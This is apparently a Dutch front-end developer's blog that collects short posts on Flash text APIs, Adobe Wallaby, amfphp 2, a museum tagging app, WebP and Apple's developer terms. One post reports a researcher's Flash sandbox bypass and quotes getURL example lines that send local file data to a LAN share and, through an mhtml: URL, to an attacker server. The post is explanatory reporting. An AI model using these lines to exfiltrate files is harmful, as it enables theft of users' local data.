Celar – Freelance flash/front-end ontwikkelaar

Via internet producten verkopen is niet zo makkelijk als het lijkt. Veel mensen komen wel in je webshop maar gaan ook weer weg zonder iets te kopen. Daarvoor heb je in de traditionele winkel nog een verkoper rondlopen die je meer informatie kan geven en je kan ‘overhalen’ om een product te kopen.

In Zweden zag telecom aanbieder Telco 3 dit gedrag van bezoekers ook en heeft daar een oplossing voor bedacht in de vorm van een minority-report achtige laag. Potentiële klanten kunnen met een live-chat contact hebben met een verkoper. De verkoper verschijnt groot in beeld en kan producten en abonnementen in beeld slepen voor de klant. Op deze manier kunnen ze gezamenlijk de producten doornemen zoals je in een fysieke winkel ook zou doen.

Ik was erg onder de indruk van deze techniek. Eerst dacht ik dat je tegenover een bot zou komen te staan maar dat was niet zo. Nadat ik had gezegd dat ik alleen geïnteresseerd was in de techniek bood de verkoper mij een demo aan.

FTE staat voor Flash Text Engine en is de low-level API van Flash om teksten te verwerken. Dit is pas beschikbaar vanaf Flash Player 10 en hoger. TLF, Text Layout Framework, is een higher-level API die verder borduurt op FTE classes en een set aan extra functionaliteiten biedt op het gebied van tekst afhandeling. Denk hierbij aan multicolommen, stylesheets, inline afbeeldingen, HTML, etc.

Doel
Adobe wilt met de introductie van FTE en TLF de bestandsgrootte van de Flash Player verkleinen door een low-level player API aan te bieden en een ‘standaard’ higher-level actionscript 3 API daar bovenop te bouwen. Hierdoor kunnen er uitbreidingen gebouwd worden zonder dat de Player ge-update moet worden.

Text Layout Framework
TLF is een zeer uitgebreid framewerk van 160 KB. De bestandsgrootte is een nadeel als je bijvoorbeeld een simpele tekst wilt tonen, denk bijvoorbeeld aan banners. Deze hebben vaak een restrictie van een x aantal kb. Dan is het onacceptabel om 160 KB extra mee te compileren terwijl je dat beter kunt gebruiken voor andere dingen.
Je wilt dus eigenlijk iets dat tussen de low-level FTE en de high-level TLF zit. Voorheen had je alleen de keuze uit TextField. Maar dat is de ‘oude’ manier en de ‘nieuwe’ manier zou FTE/TLF gaan worden.

TinyTLF
TinyTLF springt naar eigen zeggen in dat gat. Tinytlf heeft als doel een kleine, uitbreidbare bibliotheek voor ontwikkelaars te bieden om geavanceerde tekst controllers te schrijven. Doel is om uiteindelijk een TextField te krijgen die echte HTML en CSS styleheets kan parsen en dezelfde interactieve eigenschappen heeft als een native OS tekstveld.

Conslusie
Kijk goed naar de noodzaak van de verschillende API’s. Heeft jou project een geavanceerde tekst oplossing nodig dan is TLF de mooiste oplossing. Voor simpele teksten zoals invoervelden, labels, etc. is TLF te geavanceerd. TinyTLF zou daarvoor beter geschikt zijn. Helaas heb ik tinytlf niet werkend gekregen en kan ik niet oordelen op de bruikbaarheid ervan. Het oude vertrouwde TextField wordt nog steeds veel gebruikt, ook in grote producties, en is nog niet dood. Voor de simpele teksten zou ik dan ook niet schromen om deze te gebruiken. Mooi project zou een mid-level API zijn voor de simpele teksten. Dit is in mijn ogen een perfecte oplossing voor simpele en semi-simpele tekst velden.

Adobe staat niet stil en ziet ook de opkomst van HTML5. Als antwoord daarop hebben ze de experimentele tool “Wallaby” ontwikkeld. Met deze tool is het mogelijk om Flash content te exporteren naar HTML5 code. Hierdoor zijn animaties ook te zien op non-flash apparaten zoals de iPad/iPhone/iPod.

Voorlopig is de tool gericht op Webkit gebaseerde browser zoals Safari & Chrome.

“De focus van de eerste versie van Wallaby is om de best mogelijke conversie te doen voor typische banner ads naar HTML5. Wallay kan dan ook goed grafische elementen converteren samen met complexe, tijdslijn gebaseerde animaties naar HTML5 die bekeken kunnen worden met browser die gebruik maken van de Webkit render engine. Ondersteunde Webkit browser zijn Chrome en Safari op OSX, Windows, en iOS (iPad, iPhone, iPod).”

Na een test kwam ik tot de conclusie dat vooralsnog alleen CS5 Fla bestanden geconverteerd kunnen worden.

Voor amfphp 2 is de eerste alpha versie vrij gegeven. Deze versie is niet bedoeld om gebruikt te worden in productie omgevingen.

De basis van het systeem is vanaf de grond af opnieuw geschreven. Dit zorgt voor een veel schonere en uitbreidbare codebasis. Er is een plugin systeem ingebouwd met een aantal basis plugins voor onder meer loggen, authenticatie, karakter conversie, aangepaste class mapping en flex messaging. Het idee is dat de community ze gaan verbeteren en hun eigen gaan toevoegen. Nieuw is ook unit testen. Dit was absoluut niet mogelijk in versie 1.9. PHP 4 wordt niet meer ondersteund en PHP 5.3 wel. Ook is er een nieuwe workflow gebruikt. Nu zal amfPHP gebruikt worden als library. De oude manier waarin je service classes in de service map neerzette wordt nog wel ondersteund.

In opdracht van IJsfontein hebben we bij Siyou Internet Solutions de technische realisatie verzorgt voor de GM Collector. Dit omvat een webapplicatie plus een mobiele variant hiervan.

Groninger Museum Collector
Wat houd de GMcollector in? Bezoeker van het Groninger Museum kunnen door middel van een pasje (GMcolletor) kunstwerken uit een tentoonstelling taggen. De getagde objecten zijn later thuis te bekijken via de GMCollector of via de mobiele site. Op deze pagina zie je je getagde collectie per bezoek en kun je per kunstwerk meer informatie vinden over bijvoorbeeld het werk, de kunstenaar en de stroming waartoe deze behoort.

Associatie wolk
De applicatie biedt de mogelijkheid om trefwoorden die van toepassing zijn op het werk toe te kennen. Samen met anderen die dit ook hebben gedaan ontstaat een associatie wolk van trefwoorden bij het kunstwerk.

Delen
Kunstwerken kun je ook doorsturen naar een vriend of kennis. Met de tell-a-friend-tool stuur je jouw getagde kunstwerk door. Deze is ook op de mobiele website te bekijken.

Een beveiligingsonderzoeker Billy Rios heeft een prove-of-concept gepresenteerd die laat zien dat het mogelijk is om via Flash toegang te krijgen tot lokale bestanden.

Sandbox
Een sandbox in Flash zou moeten voorkomen dat een bestand van een lokaal systeem doorgestuurd kan worden naar een ander systeem. De documentatie van de sandbox is misschien net iets te duidelijk hierin. Hierin staat dat swf’s geladen van het lokale systeem een aantal beperkingen heeft. De meest relevante beperkingen zijn volgens Billy:

1. De SWF kan geen aanroep doen naar Javascript (of vbscript), ook niet door een URL of ExternalInterface.
2. De SWF kan geen HTTP of HTTPS verzoek uitvoeren
3. Querystring parameters (bijv. Blag.php?querystring=qa-value) worden verwijderd en ook niet doorgestuurd (ook niet bij verzoeken naar lokale bestanden)

Helaas zijn deze restricties niet hetzelfde als “kan niet communiceren met het netwerk in welke vorm dan ook”. Wat wel wordt gesuggereerd in de documentatie. De simpelste manier om de local-with-filesystem sandbox te omzeilen is om een file:// verzoek naar een externe server te doen. Bijvoorbeeld: Na het inladen van een bestand van het lokale systeem kan de aanvaller deze simpel doorsturen door getURL() te gebruiken en een url zoals bijvoorbeeld file://\\192.168.1.1\stolen-data-here\.
Echter geldt dit alleen voor het doorsturen van data binnen een eigen netwerk (lokaal). Als een aanvaller de data wilt versturen via het internet zijn er nog een aantal trucjes nodig.

protocollen blacklist
In het geval van de local-with-filesystem sandbox, heeft Adobe gekozen om toegang to een netwerk door het gebruik van een protocol handler te voorkomen. Dit doen ze door middel van een blacklist. Vinden we een protocol dat niet geblokkeerd is door Adobe dan hebben we een doorgang en kunnen we met bijvoorbeeld getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”); data versturen via het internet.

Adobe werkt aan een programma waarmee je flash-animatie naar html5 kunt converteren.

Rick Cabanier, ontwikkelaar bij Adobe, demonstreerd dat het mogelijk is om flash elementen om te zetten naar html5.

Google heeft een alternatieve compressie ontwikkeld die beter zou zijn dan JPEG compressie. Het alternatief genaamd ‘WebP’ (spreek je uit als weppy) is een methode voor het ‘lossy’ comprimeren van afbeeldingen. Dit betekend dat het niet een afbeelding perfect nabootst maar dat het zoveel mogelijk bij het origineel probeert te blijven wanneer deze bekeken wordt door mensen. De mate van compressie is net als bij JPEG in te stellen om zo een optimaal resultaat te krijgen tussen bestandsgrootte en beeld kwaliteit. WebP zou gemiddeld 39% meer comprimeren dan JPEG of JPEG 2000 zonder verlies van beeldkwaliteit.

Er zijn op het moment van schrijven nog geen browsers die WebP afbeeldingen kunnen tonen. Google lanceert de methode met oog op de toekomst.

Een vergelijking, bron WebP gallery
Bovenste foto: JPEG (1093968 bytes)
Onderste foto: WEBP (368168 bytes, reductie van 66.35%)

4 en een halve maand nadat Apple hun voorwaarden aanpaste zijn ze terug gekomen op het toestaan van niet native code op hun platform (sectie 3.3.1). Hiermee is het weer mogelijk om iPhone, iPad, iPod applicaties te gaan ontwikkelen in bijvoorbeeld ActionScript en deze de compileren voor het iOS van Apple. Zie (Developer aggreement)

Apple besloot in april om geen apps meer toe te staan die niet direct in Objective-C, C, C++, of JavaScript geschreven waren. Hierop besloot Adobe om hun plannen om Flash applicaties voor de iPhone te bouwen, te staken.

Er is een nieuwe animatie bibliotheek opgedoken in het landschap van animatie bibliotheken zoals TweenLite, GTween, BetweenAS3, etc. Actuate werkt niet veel anders dan bijvoorbeeld TweenLite van greensock maar zou wel sneller zijn. U kunt hier een benchmark bekijken.

Actuate is vrijgegeven onder een GNU licentie.